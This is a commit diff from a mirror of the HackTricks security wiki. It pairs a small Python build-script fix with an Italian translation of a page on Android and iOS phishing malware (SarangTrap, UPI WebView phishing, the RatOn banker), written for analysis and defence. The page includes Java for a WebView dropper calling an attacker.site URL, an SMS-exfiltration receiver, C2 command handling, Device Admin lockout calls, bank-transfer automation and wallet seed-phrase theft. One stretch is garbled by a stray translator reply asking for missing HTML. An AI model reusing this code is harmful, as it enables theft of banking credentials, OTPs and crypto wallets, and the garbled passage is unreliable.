mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
parent
c7898b6794
commit
7cd31a6f8d
@ -17,7 +17,7 @@ handler2.setLevel(logging.ERROR)
|
||||
logger.addHandler(handler2)
|
||||
|
||||
|
||||
def findtitle(search ,obj, key, path=(),):
|
||||
def findtitle(search, obj, key, path=()):
|
||||
# logger.debug(f"Looking for {search} in {path}")
|
||||
if isinstance(obj, dict) and key in obj and obj[key] == search:
|
||||
return obj, path
|
||||
@ -54,26 +54,42 @@ def ref(matchobj):
|
||||
if href.endswith("/"):
|
||||
href = href+"README.md" # Fix if ref points to a folder
|
||||
if "#" in href:
|
||||
chapter, _path = findtitle(href.split("#")[0], book, "source_path")
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
logger.debug(f'Ref has # using title: {title}')
|
||||
result = findtitle(href.split("#")[0], book, "source_path")
|
||||
if result is not None:
|
||||
chapter, _path = result
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
logger.debug(f'Ref has # using title: {title}')
|
||||
else:
|
||||
raise Exception(f"Chapter not found for path: {href.split('#')[0]}")
|
||||
else:
|
||||
chapter, _path = findtitle(href, book, "source_path")
|
||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||
title = chapter['name']
|
||||
result = findtitle(href, book, "source_path")
|
||||
if result is not None:
|
||||
chapter, _path = result
|
||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||
title = chapter['name']
|
||||
else:
|
||||
raise Exception(f"Chapter not found for path: {href}")
|
||||
except Exception as e:
|
||||
dir = path.dirname(current_chapter['source_path'])
|
||||
rel_path = path.normpath(path.join(dir,href))
|
||||
try:
|
||||
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
|
||||
if "#" in href:
|
||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
logger.debug(f'Ref has # using title: {title}')
|
||||
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
if result is not None:
|
||||
chapter, _path = result
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
logger.debug(f'Ref has # using title: {title}')
|
||||
else:
|
||||
raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href.split('#')[0]))}")
|
||||
else:
|
||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
title = chapter["name"]
|
||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||
result = findtitle(path.normpath(path.join(dir,href)), book, "source_path")
|
||||
if result is not None:
|
||||
chapter, _path = result
|
||||
title = chapter["name"]
|
||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||
else:
|
||||
raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href))}")
|
||||
except Exception as e:
|
||||
logger.debug(e)
|
||||
logger.error(f'Error getting chapter title: {rel_path}')
|
||||
|
@ -768,7 +768,7 @@
|
||||
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
|
||||
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
|
||||
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
|
||||
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
|
||||
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
|
||||
@ -837,8 +837,9 @@
|
||||
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
||||
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
|
||||
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
|
||||
|
||||
# 🤖 AI
|
||||
- [AI Security](AI/README.md)
|
||||
|
@ -3,63 +3,63 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!INFO]
|
||||
> Questa pagina tratta delle tecniche utilizzate dagli attori delle minacce per distribuire **APK Android malevoli** e **profili di configurazione mobile iOS** attraverso il phishing (SEO, ingegneria sociale, negozi falsi, app di incontri, ecc.).
|
||||
> Questa pagina copre le tecniche usate dagli threat actor per distribuire **malicious Android APKs** e **iOS mobile-configuration profiles** tramite phishing (SEO, social engineering, fake stores, dating apps, ecc.).
|
||||
> Il materiale è adattato dalla campagna SarangTrap esposta da Zimperium zLabs (2025) e da altre ricerche pubbliche.
|
||||
|
||||
## Attack Flow
|
||||
|
||||
1. **SEO/Phishing Infrastructure**
|
||||
* Registrare dozzine di domini simili (incontri, condivisione cloud, servizio auto…).
|
||||
– Utilizzare parole chiave e emoji nella lingua locale nell'elemento `<title>` per posizionarsi su Google.
|
||||
– Ospitare *sia* le istruzioni di installazione Android (`.apk`) che iOS sulla stessa pagina di atterraggio.
|
||||
* Registrare dozzine di domini look-alike (dating, cloud share, car service…).
|
||||
– Usare parole chiave nella lingua locale ed emoji nell'elemento `<title>` per posizionarsi su Google.
|
||||
– Ospitare *sia* le istruzioni di installazione Android (`.apk`) sia quelle iOS sulla stessa landing page.
|
||||
2. **First Stage Download**
|
||||
* Android: link diretto a un APK *non firmato* o “negozio di terze parti”.
|
||||
* iOS: `itms-services://` o link HTTPS semplice a un profilo **mobileconfig** malevolo (vedi sotto).
|
||||
* Android: link diretto a un APK *unsigned* o da “third-party store”.
|
||||
* iOS: `itms-services://` o link HTTPS semplice a un **mobileconfig** profile malevolo (vedi sotto).
|
||||
3. **Post-install Social Engineering**
|
||||
* Al primo avvio, l'app chiede un **codice di invito / verifica** (illusione di accesso esclusivo).
|
||||
* Il codice è **POSTato su HTTP** al Command-and-Control (C2).
|
||||
* C2 risponde `{"success":true}` ➜ il malware continua.
|
||||
* L'analisi dinamica di Sandbox / AV che non invia un codice valido non vede **comportamenti malevoli** (evasione).
|
||||
* Al primo avvio l'app richiede un **invitation / verification code** (illusione di accesso esclusivo).
|
||||
* Il codice viene **POSTato over HTTP** al Command-and-Control (C2).
|
||||
* Il C2 risponde `{"success":true}` ➜ il malware continua.
|
||||
* Sandbox / AV dynamic analysis che non inviano mai un codice valido non vedono **comportamento maligno** (evasion).
|
||||
4. **Runtime Permission Abuse** (Android)
|
||||
* Le autorizzazioni pericolose vengono richieste **solo dopo una risposta positiva dal C2**:
|
||||
* Le permission pericolose sono richieste solo **dopo una risposta positiva del C2**:
|
||||
```xml
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
||||
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
||||
<!-- Le versioni più vecchie richiedevano anche autorizzazioni SMS -->
|
||||
<!-- Older builds also asked for SMS permissions -->
|
||||
```
|
||||
* Le varianti recenti **rimuovono `<uses-permission>` per SMS da `AndroidManifest.xml`** ma lasciano il percorso del codice Java/Kotlin che legge gli SMS tramite riflessione ⇒ abbassa il punteggio statico pur rimanendo funzionale su dispositivi che concedono l'autorizzazione tramite abuso di `AppOps` o obiettivi vecchi.
|
||||
* Varianti recenti **rimuovono `<uses-permission>` per SMS da `AndroidManifest.xml`** ma lasciano il percorso Java/Kotlin che legge gli SMS via reflection ⇒ abbassa il punteggio statico pur rimanendo funzionale su dispositivi dove la permission è concessa tramite `AppOps` abuse o su target vecchi.
|
||||
5. **Facade UI & Background Collection**
|
||||
* L'app mostra viste innocue (visualizzatore SMS, selettore galleria) implementate localmente.
|
||||
* Nel frattempo, esfiltra:
|
||||
* L'app mostra view innocue (SMS viewer, gallery picker) implementate localmente.
|
||||
* Nel frattempo esfiltra:
|
||||
- IMEI / IMSI, numero di telefono
|
||||
- Dump completo di `ContactsContract` (array JSON)
|
||||
- JPEG/PNG da `/sdcard/DCIM` compressi con [Luban](https://github.com/Curzibn/Luban) per ridurre le dimensioni
|
||||
- Contenuto SMS opzionale (`content://sms`)
|
||||
I payload sono **batch-zippati** e inviati tramite `HTTP POST /upload.php`.
|
||||
- JPEG/PNG da `/sdcard/DCIM` compressi con [Luban](https://github.com/Curzibn/Luban) per ridurre la dimensione
|
||||
- SMS opzionali (`content://sms`)
|
||||
I payload vengono **batch-zippati** e inviati via `HTTP POST /upload.php`.
|
||||
6. **iOS Delivery Technique**
|
||||
* Un singolo **profilo di configurazione mobile** può richiedere `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` ecc. per iscrivere il dispositivo in una supervisione simile a “MDM”.
|
||||
* Istruzioni di ingegneria sociale:
|
||||
1. Aprire Impostazioni ➜ *Profilo scaricato*.
|
||||
2. Toccare *Installa* tre volte (screenshot sulla pagina di phishing).
|
||||
3. Fidarsi del profilo non firmato ➜ l'attaccante ottiene i diritti su *Contatti* e *Foto* senza revisione dell'App Store.
|
||||
* Un singolo **mobile-configuration profile** può richiedere `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration`, ecc. per iscrivere il dispositivo in una supervisione tipo “MDM”.
|
||||
* Istruzioni di social-engineering:
|
||||
1. Apri Impostazioni ➜ *Profile downloaded*.
|
||||
2. Tocca *Install* tre volte (screenshot sulla pagina di phishing).
|
||||
3. Trust il profilo non firmato ➜ l'attaccante ottiene i privilegi su *Contacts* & *Photo* senza revisione App Store.
|
||||
7. **Network Layer**
|
||||
* HTTP semplice, spesso sulla porta 80 con intestazione HOST come `api.<phishingdomain>.com`.
|
||||
* Plain HTTP, spesso su porta 80 con HOST header tipo `api.<phishingdomain>.com`.
|
||||
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (no TLS → facile da individuare).
|
||||
|
||||
## Defensive Testing / Red-Team Tips
|
||||
|
||||
* **Dynamic Analysis Bypass** – Durante la valutazione del malware, automatizzare la fase del codice di invito con Frida/Objection per raggiungere il ramo malevolo.
|
||||
* **Manifest vs. Runtime Diff** – Confrontare `aapt dump permissions` con `PackageManager#getRequestedPermissions()` a runtime; la mancanza di permessi pericolosi è un campanello d'allarme.
|
||||
* **Network Canary** – Configurare `iptables -p tcp --dport 80 -j NFQUEUE` per rilevare esplosioni di POST non solidi dopo l'inserimento del codice.
|
||||
* **mobileconfig Inspection** – Utilizzare `security cms -D -i profile.mobileconfig` su macOS per elencare `PayloadContent` e individuare diritti eccessivi.
|
||||
* **Dynamic Analysis Bypass** – Durante l'analisi del malware, automatizzare la fase del codice di invito con Frida/Objection per raggiungere il ramo maligno.
|
||||
* **Manifest vs. Runtime Diff** – Confrontare `aapt dump permissions` con le `PackageManager#getRequestedPermissions()` a runtime; permessi pericolosi mancanti sono un red flag.
|
||||
* **Network Canary** – Configurare `iptables -p tcp --dport 80 -j NFQUEUE` per rilevare raffiche di POST sospette dopo l'inserimento del codice.
|
||||
* **mobileconfig Inspection** – Usare `security cms -D -i profile.mobileconfig` su macOS per elencare `PayloadContent` e individuare entitlements eccessivi.
|
||||
|
||||
## Blue-Team Detection Ideas
|
||||
|
||||
* **Certificate Transparency / DNS Analytics** per catturare esplosioni improvvise di domini ricchi di parole chiave.
|
||||
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` da client Dalvik al di fuori di Google Play.
|
||||
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` da client Dalvik fuori dal Play Store.
|
||||
* **Invite-code Telemetry** – POST di codici numerici di 6–8 cifre poco dopo l'installazione dell'APK può indicare staging.
|
||||
* **MobileConfig Signing** – Bloccare profili di configurazione non firmati tramite politica MDM.
|
||||
* **MobileConfig Signing** – Bloccare i configuration profile non firmati tramite policy MDM.
|
||||
|
||||
## Useful Frida Snippet: Auto-Bypass Invitation Code
|
||||
```python
|
||||
@ -80,7 +80,7 @@ return conn;
|
||||
};
|
||||
});
|
||||
```
|
||||
## Indicatori (Generici)
|
||||
## Indicatori (Generico)
|
||||
```
|
||||
/req/checkCode.php # invite code validation
|
||||
/upload.php # batched ZIP exfiltration
|
||||
@ -90,26 +90,26 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex
|
||||
|
||||
## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
|
||||
|
||||
Questo schema è stato osservato in campagne che abusano di temi legati ai benefici governativi per rubare credenziali UPI indiane e OTP. Gli operatori concatenano piattaforme affidabili per la consegna e la resilienza.
|
||||
This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience.
|
||||
|
||||
### Catena di consegna attraverso piattaforme fidate
|
||||
- Video di YouTube come esca → la descrizione contiene un link breve
|
||||
- Link breve → sito di phishing su GitHub Pages che imita il portale legittimo
|
||||
- Lo stesso repository GitHub ospita un APK con un falso badge “Google Play” che collega direttamente al file
|
||||
- Pagine di phishing dinamiche vivono su Replit; il canale di comando remoto utilizza Firebase Cloud Messaging (FCM)
|
||||
### Catena di consegna attraverso piattaforme affidabili
|
||||
- YouTube video lure → description contains a short link
|
||||
- Shortlink → GitHub Pages phishing site imitating the legit portal
|
||||
- Same GitHub repo hosts an APK with a fake “Google Play” badge linking directly to the file
|
||||
- Dynamic phishing pages live on Replit; remote command channel uses Firebase Cloud Messaging (FCM)
|
||||
|
||||
### Dropper con payload incorporato e installazione offline
|
||||
- Il primo APK è un installer (dropper) che spedisce il vero malware a `assets/app.apk` e invita l'utente a disabilitare Wi‑Fi/dati mobili per ridurre il rilevamento nel cloud.
|
||||
- Il payload incorporato si installa sotto un'etichetta innocua (ad es., “Aggiornamento Sicuro”). Dopo l'installazione, sia l'installer che il payload sono presenti come app separate.
|
||||
- First APK is an installer (dropper) that ships the real malware at `assets/app.apk` and prompts the user to disable Wi‑Fi/mobile data to blunt cloud detection.
|
||||
- The embedded payload installs under an innocuous label (e.g., “Secure Update”). After install, both the installer and the payload are present as separate apps.
|
||||
|
||||
Suggerimento per la triage statica (grep per payload incorporati):
|
||||
Suggerimento per il triage statico (grep for embedded payloads):
|
||||
```bash
|
||||
unzip -l sample.apk | grep -i "assets/app.apk"
|
||||
# Or:
|
||||
zipgrep -i "classes|.apk" sample.apk | head
|
||||
```
|
||||
### Scoperta dinamica degli endpoint tramite shortlink
|
||||
- Il malware recupera un elenco di endpoint attivi in formato testo semplice e separato da virgole da uno shortlink; semplici trasformazioni di stringa producono il percorso finale della pagina di phishing.
|
||||
- Malware recupera da uno shortlink una lista in plain-text separata da virgole di endpoint attivi; semplici trasformazioni di stringa producono il percorso finale della pagina di phishing.
|
||||
|
||||
Esempio (sanitizzato):
|
||||
```
|
||||
@ -119,7 +119,7 @@ Transform: "gate.html" → "gate.htm" (loaded in WebView)
|
||||
UPI credential POST: https://sqcepo.replit.app/addup.php
|
||||
SMS upload: https://sqcepo.replit.app/addsm.php
|
||||
```
|
||||
Codice pseudo:
|
||||
Pseudo-codice:
|
||||
```java
|
||||
String csv = httpGet(shortlink);
|
||||
String[] parts = csv.split(",");
|
||||
@ -127,27 +127,27 @@ String upiPage = parts[0].replace("gate.html", "gate.htm");
|
||||
String smsPost = parts[1];
|
||||
String credsPost = upiPage.replace("gate.htm", "addup.php");
|
||||
```
|
||||
### Raccolta di credenziali UPI basata su WebView
|
||||
- Il passaggio “Effettua il pagamento di ₹1 / UPI‑Lite” carica un modulo HTML dell'attaccante dall'endpoint dinamico all'interno di un WebView e cattura campi sensibili (telefono, banca, PIN UPI) che vengono `POST`ati a `addup.php`.
|
||||
### Raccolta delle credenziali UPI tramite WebView
|
||||
- Il passaggio “Make payment of ₹1 / UPI‑Lite” carica un form HTML dell'attaccante dall'endpoint dinamico all'interno di una WebView e cattura campi sensibili (telefono, banca, UPI PIN) che vengono inviati con `POST` a `addup.php`.
|
||||
|
||||
Loader minimo:
|
||||
Loader minimale:
|
||||
```java
|
||||
WebView wv = findViewById(R.id.web);
|
||||
wv.getSettings().setJavaScriptEnabled(true);
|
||||
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
|
||||
```
|
||||
### Auto-propagazione e intercettazione SMS/OTP
|
||||
- Vengono richieste autorizzazioni aggressive al primo avvio:
|
||||
### Self-propagation and SMS/OTP interception
|
||||
- Vengono richiesti permessi aggressivi al primo avvio:
|
||||
```xml
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||
<uses-permission android:name="android.permission.SEND_SMS"/>
|
||||
<uses-permission android:name="android.permission.READ_SMS"/>
|
||||
<uses-permission android:name="android.permission.CALL_PHONE"/>
|
||||
```
|
||||
- I contatti vengono utilizzati per inviare SMS smishing in massa dal dispositivo della vittima.
|
||||
- Gli SMS in arrivo vengono intercettati da un ricevitore di broadcast e caricati con metadati (mittente, corpo, slot SIM, ID casuale per dispositivo) su `/addsm.php`.
|
||||
- I contatti vengono ciclati per inviare in massa smishing SMS dal dispositivo della vittima.
|
||||
- Gli SMS in arrivo vengono intercettati da un broadcast receiver e caricati con metadata (mittente, corpo, slot SIM, ID casuale per dispositivo) su `/addsm.php`.
|
||||
|
||||
Ricevitore schizzo:
|
||||
Bozza del receiver:
|
||||
```java
|
||||
public void onReceive(Context c, Intent i){
|
||||
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
|
||||
@ -162,7 +162,7 @@ postForm(urlAddSms, new FormBody.Builder()
|
||||
}
|
||||
```
|
||||
### Firebase Cloud Messaging (FCM) come C2 resiliente
|
||||
- Il payload si registra a FCM; i messaggi push contengono un campo `_type` utilizzato come interruttore per attivare azioni (ad es., aggiornare i modelli di testo di phishing, attivare/disattivare comportamenti).
|
||||
- Il payload si registra a FCM; i messaggi push contengono un campo `_type` usato come switch per attivare azioni (ad es., aggiornare i template di testo per phishing, attivare/disattivare comportamenti).
|
||||
|
||||
Esempio di payload FCM:
|
||||
```json
|
||||
@ -174,7 +174,7 @@ Esempio di payload FCM:
|
||||
}
|
||||
}
|
||||
```
|
||||
Handler sketch:
|
||||
Bozza Handler:
|
||||
```java
|
||||
@Override
|
||||
public void onMessageReceived(RemoteMessage msg){
|
||||
@ -186,27 +186,179 @@ case "smish": sendSmishToContacts(); break;
|
||||
}
|
||||
}
|
||||
```
|
||||
### Hunting patterns and IOCs
|
||||
### Pattern di hunting e IOCs
|
||||
- APK contiene un payload secondario in `assets/app.apk`
|
||||
- WebView carica il pagamento da `gate.htm` ed esfiltra a `/addup.php`
|
||||
- Esfiltrazione SMS a `/addsm.php`
|
||||
- Fetch della configurazione tramite shortlink (es., `rebrand.ly/*`) che restituisce endpoint CSV
|
||||
- App etichettate come generiche “Update/Secure Update”
|
||||
- Messaggi `data` FCM con un discriminatore `_type` in app non affidabili
|
||||
- WebView carica il pagamento da `gate.htm` ed esfiltra verso `/addup.php`
|
||||
- Esfiltrazione SMS verso `/addsm.php`
|
||||
- Fetch di configurazione guidato da shortlink (es., `rebrand.ly/*`) che restituisce endpoint CSV
|
||||
- App etichettate genericamente “Update/Secure Update”
|
||||
- Messaggi FCM `data` con un discriminatore `_type` in app non attendibili
|
||||
|
||||
### Detection & defence ideas
|
||||
- Segnala app che istruiscono gli utenti a disabilitare la rete durante l'installazione e poi caricano un secondo APK da `assets/`.
|
||||
- Allerta sulla tupla di permessi: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + flussi di pagamento basati su WebView.
|
||||
- Monitoraggio dell'uscita per `POST /addup.php|/addsm.php` su host non aziendali; blocca infrastrutture note.
|
||||
- Regole EDR mobili: app non affidabili che si registrano per FCM e si ramificano su un campo `_type`.
|
||||
### Idee per rilevamento e difesa
|
||||
- Segnalare app che istruiscono gli utenti a disabilitare la rete durante l'installazione e poi eseguono il side-load di un secondo APK da `assets/`.
|
||||
- Generare allarme sulla tupla di permessi: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + flussi di pagamento basati su WebView.
|
||||
- Monitoraggio dell'egress per `POST /addup.php|/addsm.php` su host non aziendali; bloccare infrastrutture note.
|
||||
- Regole Mobile EDR: app non attendibili che si registrano per FCM e fanno branching su un campo `_type`.
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
## Abuso di Android Accessibility/Overlay & Device Admin, automazione ATS e orchestrazione relay NFC – studio del caso RatOn
|
||||
|
||||
La campagna RatOn banker/RAT (ThreatFabric) è un esempio concreto di come le moderne operazioni di mobile phishing combinino WebView droppers, automazione UI guidata da Accessibility, overlays/ransom, coercizione Device Admin, Automated Transfer System (ATS), crypto wallet takeover e persino orchestrazione relay NFC. Questa sezione astrae le tecniche riutilizzabili.
|
||||
|
||||
### Fase-1: WebView → ponte di installazione nativa (dropper)
|
||||
Gli attaccanti presentano una WebView che punta a una pagina dell'attaccante e iniettano un'interfaccia JavaScript che espone un installer nativo. Un tap su un bottone HTML richiama codice nativo che installa un APK di second stage incluso negli assets del dropper e poi lo avvia direttamente.
|
||||
|
||||
Schema minimo:
|
||||
```java
|
||||
public class DropperActivity extends Activity {
|
||||
@Override protected void onCreate(Bundle b){
|
||||
super.onCreate(b);
|
||||
WebView wv = new WebView(this);
|
||||
wv.getSettings().setJavaScriptEnabled(true);
|
||||
wv.addJavascriptInterface(new Object(){
|
||||
@android.webkit.JavascriptInterface
|
||||
public void installApk(){
|
||||
try {
|
||||
PackageInstaller pi = getPackageManager().getPackageInstaller();
|
||||
PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
|
||||
int id = pi.createSession(p);
|
||||
try (PackageInstaller.Session s = pi.openSession(id);
|
||||
InputStream in = getAssets().open("payload.apk");
|
||||
OutputStream out = s.openWrite("base.apk", 0, -1)){
|
||||
byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
|
||||
}
|
||||
PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
|
||||
pi.commit(id, status.getIntentSender());
|
||||
} catch (Exception e) { /* log */ }
|
||||
}
|
||||
}, "bridge");
|
||||
setContentView(wv);
|
||||
wv.loadUrl("https://attacker.site/install.html");
|
||||
}
|
||||
}
|
||||
```
|
||||
Non vedo alcun contenuto. Per favore incolla l'HTML (o il testo/markdown) della pagina che vuoi tradurre.
|
||||
|
||||
Nota: manterrò intatti tag, link, percorsi e codice (non verranno tradotti) e restituirò solo la traduzione del testo rilevante in italiano, conservando tutta la sintassi markdown/html.
|
||||
```html
|
||||
<button onclick="bridge.installApk()">Install</button>
|
||||
```
|
||||
Dopo l'installazione, il dropper avvia il payload tramite package/activity esplicito:
|
||||
```java
|
||||
Intent i = new Intent();
|
||||
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
|
||||
startActivity(i);
|
||||
```
|
||||
Idea per il rilevamento: app non attendibili che chiamano `addJavascriptInterface()` ed espongono metodi simili a quelli di un installer a WebView; APK che contiene un payload secondario incorporato in `assets/` e invoca la Package Installer Session API.
|
||||
|
||||
### Flusso di consenso: Accessibility + Device Admin + richieste runtime successive
|
||||
Stage-2 apre una WebView che ospita una pagina “Access”. Il suo pulsante invoca un metodo esportato che porta la vittima nelle impostazioni Accessibility e richiede l'abilitazione del servizio malevolo. Una volta concesso, il malware usa Accessibility per cliccare automaticamente attraverso i successivi dialog di autorizzazione runtime (contatti, overlay, manage system settings, ecc.) e richiede Device Admin.
|
||||
|
||||
- Accessibility aiuta in modo programmatico ad accettare i prompt successivi trovando pulsanti come “Allow”/“OK” nell'albero dei nodi e simulando clic.
|
||||
- Controllo/richiesta permesso overlay:
|
||||
```java
|
||||
if (!Settings.canDrawOverlays(ctx)) {
|
||||
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
|
||||
Uri.parse("package:" + ctx.getPackageName()));
|
||||
ctx.startActivity(i);
|
||||
}
|
||||
```
|
||||
Vedi anche:
|
||||
|
||||
{{#ref}}
|
||||
../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Overlay phishing/ransom via WebView
|
||||
Gli operatori possono inviare comandi per:
|
||||
- rendere un overlay a schermo intero da un URL, oppure
|
||||
- passare HTML inline che viene caricato in un overlay WebView.
|
||||
|
||||
Usi probabili: coercizione (inserimento PIN), apertura del wallet per catturare i PIN, messaggi di riscatto. Tenere un comando per assicurarsi che il permesso per l'overlay sia concesso se mancante.
|
||||
|
||||
### Remote control model – text pseudo-screen + screen-cast
|
||||
- Low-bandwidth: eseguire periodicamente il dump dell'albero dei nodi Accessibility, serializzare i testi/ruoli/bounds visibili e inviarli al C2 come pseudo-schermo (comandi come `txt_screen` una tantum e `screen_live` continuo).
|
||||
- High-fidelity: richiedere MediaProjection e avviare lo screen-casting/registrazione su richiesta (comandi come `display` / `record`).
|
||||
|
||||
### ATS playbook (bank app automation)
|
||||
Dato un task JSON, aprire l'app bancaria, pilotare l'UI via Accessibility con una combinazione di query testuali e tap per coordinate, e inserire il PIN di pagamento della vittima quando richiesto.
|
||||
|
||||
Esempio di task:
|
||||
```json
|
||||
{
|
||||
"cmd": "transfer",
|
||||
"receiver_address": "ACME s.r.o.",
|
||||
"account": "123456789/0100",
|
||||
"amount": "24500.00",
|
||||
"name": "ACME"
|
||||
}
|
||||
```
|
||||
Esempi di testi visti in un flusso target (CZ → EN):
|
||||
- "Nová platba" → "Nuovo pagamento"
|
||||
- "Zadat platbu" → "Inserisci pagamento"
|
||||
- "Nový příjemce" → "Nuovo beneficiario"
|
||||
- "Domácí číslo účtu" → "Numero di conto nazionale"
|
||||
- "Další" → "Avanti"
|
||||
- "Odeslat" → "Invia"
|
||||
- "Ano, pokračovat" → "Sì, continua"
|
||||
- "Zaplatit" → "Paga"
|
||||
- "Hotovo" → "Fatto"
|
||||
|
||||
Operators can also check/raise transfer limits via commands like `check_limit` and `limit` that navigate the limits UI similarly.
|
||||
|
||||
### Estrazione della seed phrase dei wallet crypto
|
||||
Target come MetaMask, Trust Wallet, Blockchain.com, Phantom. Flusso: sbloccare (PIN rubato o password fornita), navigare in Security/Recovery, rivelare/mostrare la seed phrase, keylog/exfiltrate it. Implementare selettori sensibili alla locale (EN/RU/CZ/SK) per stabilizzare la navigazione tra le lingue.
|
||||
|
||||
### Coercizione Device Admin
|
||||
Le Device Admin APIs vengono usate per aumentare le opportunità di cattura del PIN e ostacolare la vittima:
|
||||
|
||||
- Blocco immediato:
|
||||
```java
|
||||
dpm.lockNow();
|
||||
```
|
||||
- Far scadere la credenziale corrente per forzare il cambio (Accessibility cattura il nuovo PIN/password):
|
||||
```java
|
||||
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
|
||||
```
|
||||
- Forzare lo sblocco non biometrico disabilitando le funzionalità biometriche del keyguard:
|
||||
```java
|
||||
dpm.setKeyguardDisabledFeatures(admin,
|
||||
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
|
||||
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
|
||||
```
|
||||
Nota: Molti controlli di DevicePolicyManager richiedono Device Owner/Profile Owner su versioni recenti di Android; alcune build OEM possono essere più permissive. Validare sempre sul target OS/OEM.
|
||||
|
||||
### NFC relay orchestration (NFSkate)
|
||||
Stage-3 può installare e lanciare un modulo NFC-relay esterno (es., NFSkate) e perfino passargli un template HTML per guidare la vittima durante il relay. Questo abilita operazioni di cash-out contactless con carta presente insieme a ATS online.
|
||||
|
||||
Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
|
||||
|
||||
### Set di comandi operatore (esempio)
|
||||
- UI/stato: `txt_screen`, `screen_live`, `display`, `record`
|
||||
- Social: `send_push`, `Facebook`, `WhatsApp`
|
||||
- Sovrapposizioni: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
|
||||
- Wallets: `metamask`, `trust`, `blockchain`, `phantom`
|
||||
- ATS: `transfer`, `check_limit`, `limit`
|
||||
- Dispositivo: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
|
||||
- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
|
||||
- NFC: `nfs`, `nfs_inject`
|
||||
|
||||
### Idee per rilevamento e difesa (stile RatOn)
|
||||
- Cercare WebViews con `addJavascriptInterface()` che espongono metodi installer/permission; pagine che terminano in “/access” che attivano prompt di Accessibility.
|
||||
- Segnalare app che generano gesti/click di Accessibility ad alta frequenza poco dopo che è stato concesso l'accesso al servizio; telemetria che somiglia a Accessibility node dumps inviati al C2.
|
||||
- Monitorare modifiche alle policy di Device Admin in app non attendibili: `lockNow`, scadenza password, toggle di feature keyguard.
|
||||
